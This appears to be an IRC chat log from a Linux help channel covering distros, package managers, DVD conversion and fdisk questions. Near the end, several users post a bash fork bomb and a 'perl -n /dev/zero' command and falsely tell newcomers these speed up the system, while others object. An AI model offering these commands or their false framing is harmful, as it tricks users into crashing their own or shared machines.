<0> ca:12345:ctrlaltdel:/sbin/shutdown -r now
<0> Found in my inittab
<1> SpeedEvil: i think it says 11W right now, but somehow it was running using 5 watts under windows. :-(
<1> poopy windows
<2> linagee: my cousin is a programmer for M$ =(... we avoid the "which is better" topic so we may not end up in a big damn fight
<3> I'd work for ms if I got the chance
<1> degantyll: i use them all. :->
<2> linagee: like OS X and BSD too ;)
<1> koala_man: just to put some silly bit of code that makes a program look dumb if you do some secret keystroke sequence? :->
<4> I have worked out that it'd take an average of a step every 10 seconds on a step machine to run my laptop, and one every 5 to run my network crap + ADSL modem
<3> linagee: that, and I'd get a bunch of windows license refunds in the form of office supplies
<1> SpeedEvil: that you would live an extra 10 years? :->
<1> koala_man: windows license refunds in the form of pieces of bill gates' home. :->
<1> lol
<5> moin
<6> Hi!
<1> wizard123: it's 12:38PM noon. :-P
<4> linagee: It's actually a matter of hooking it up.
<6> Yeah-- for me, it's 3:38 PM
<5> 21:35 pm
<4> I do _easily_ enough to power my laptop + most lights daily on the excersize bike.
<4> But no power out.
<1> riczho: pacific time is better. :-)
<7> Is it possible to take an .avi and put it on a dvd so it will play in a normal household DVD player?
<1> SpeedEvil: converted to heat energy. energy is never lost or destroyed. :-P
<4> Well - true of course. But still - no power out.
<4> stevekl: no
<4> stevekl: you need to convert
<8> When I "fdisk /dev/hda" (my main drive), I don't see any partitions, because it says: "invalid flag 0x0000 of partition table 4 will be corrected by w(rite)." Should I just open fdisk, and write? Is this a reasonably safe way of correcting the error?
<5> hmm.. i'm looking for linux distro which can replace freebsd
<9> stevekl: though I'm not familiar so much with the burning side of it, there are alot of newer cd players that play all sorts of dvd type disks
<5> what can you suggest?
<8> wizard123: So, any of them.
<5> i need ports, and simplicity
<8> wizard123: My personal preferences are Fedora and SuSE, but Debian, Slackware or Ubuntu are great too.
<9> stevekl: I meant dvd players
<8> Ports?
<7> mjbjr: Well I want to burn a movie for my parents and I doubt their player can play .avis
<9> stevekl: what about divx?
<0> Awesome, I just figured out how to use agetty :D
<0> Fun :D
<10> cdehaan: basically gentoo's portage
<10> cdehaan: except, the original :P
<7> mjbjr: I dunno
<7> I know nothing about video formats and such
<9> stevekl: look here: http://people.csail.mit.edu/tbuehler/video/codecs/
<7> I was wondering if there was a program that could do that
<10> wizard123: mayybbee gentoo, with portage
<5> hmm
<6> Yeah-- Gentoo is all that I can think of.
<10> which is based off the idea of ports, anyways
<5> k
<5> what is this ubuntu?
<5> i hear about it everywhere
<5> but never seen it :/
<8> konrad``: So something like apt-get or yum would replace it?
<10> cdehaan: ?
<8> wizard123: A one-disk simplified Debian distribution
<5> apt-get? yuck!
<5> :P
<8> konrad``: Ports... or do ports/portage build from source?
<11> the primary things about ubunut is it has been dumbed down for more normal users
<5> cdehaan: mostly
<10> cdehaan: they build from source
<10> aye
<8> ah.
<8> Hm
<10> TragicZ: which is why it's installed on my sister's computer
<9> :))
<8> I have this feeling that yum might PERHAPS allow src.rpms to be downloaded and installed instead... MAYBE
<5> rpms debs..
<10> cdehaan: either way, yum is VERY slow
<5> ok, so i'll use hated gentoo ;)
<10> :)
<8> konrad``: Slower than Apt?
<10> much
<8> Hm
<12> would it make any difference if I have a gateway/router running on 100mhz, instead of 500mhz processor ? Would the connections from LAN connected machine appear any faster?
<8> I suppose I just like RH distros better, so I've never bothered with Debian
<10> apt-rpm switched to yum's slow xml database system, and now it's slow too
<4> yang: no
<4> yang: generally.
<4> Unless the processor is loaded
<4> and even then - kernel mode routing will generally mean that it's prompt - unless the box is swamped with traffic
<8> konrad``: Are there good reasons for using it's "slow xml database system"?
<12> SpeedEvil: ok thanks
<10> cdehaan: nope.
<4> many of the 'wifi routers'/... now being sold use 200Mhz processors or less.
<8> konrad``: Then why would yum use it, and apt4rpm switch to it?
<10> cdehaan: no idea
<10> cdehaan: I'm not a FC user
<8> konrad``: Then there must be an advantage :)
<8> Although I have read in several places that apt is quicker.
<8> And that's always a good advantage.
<8> deb's were created with apt in mind, weren't they?
<10> dunno
<10> apt is _much_ quicker.
<8> I believe so. Whereas yum is a layer on top of the rpm system...
<8> so it's kludgier
<8> seems to work very well, though.
<10> perhaps
<1> what if the US businesses got smart like India and started taking in foreign contracts? hahaha.
<0> linagee, companies are moving labor back to America.
<1> "Hello, This is linagee. How may I direct your call?" Caller: "Ugh. Your accent is terrible!" lol
<0> They find that yeah, India is cheaper, but they **** ***.
<1> PeterFA: i bet they don't give you your old job back though. lol
<0> linagee, some work cannot be outsourced either.
<1> PeterFA: companies don't say sorry and thank you. they just say, oww. that little bit of stupidity cost us a lot of money.
<13> :(){:|: &};:
<1> AfterDeath: is that some sort of bash virus? lol
<14> :)
<13> lol
<13> no
<13> its called a fork bomb
<14> type that at the command prompt
<14> to speed things up
<13> yeah
<15> idiots
<13> it forks processes so they get a better division of cpu time
<14> i usually type it 3x for max0r speed
<0> linagee, it's a fork bomb
<13> PeterFA, STFU
<13> lol
<13> it is a fork bomb
<13> it forks processes so they get a better division of cpu time
<1> AfterDeath: now if it fork bombed which somehow made the machine hackable, that would be cool. :)
<0> AfterDeath, we have a policy here, you dont' ****ing say **** like that. A n00b might execute it out of curiosity and screw up his ****.
<13> lol
<1> PeterFA: type that into your ISPs shell for a real neat effect. (involves a boot)
<16> AfterDeath: its commen sense
<0> linagee, shut up.
<13> ok, all you n00bs, DONT do perl -n /dev/zero
<13> thats only for the experts to do
<13> :-P
<1> AfterDeath: take your FUD elsewhere. :-P
<13> #windows ?
<13> :-D
<13> thats where fud originates...
<1> AfterDeath: yes. go to #windows and tell them stupid stuff to do.
<13> heh
<0> AfterDeath, see, that shows just how ignorant and stupid you are. If you weren't ****ing stupid, you wouldn't pull **** off like that.
<13> i like that idea
<1> AfterDeath: waiting for you to leave...
<1> :->
<13> no, just /join
<14> FUD?
<13> Fear, Uncertainty, and Doubt
<14> oh
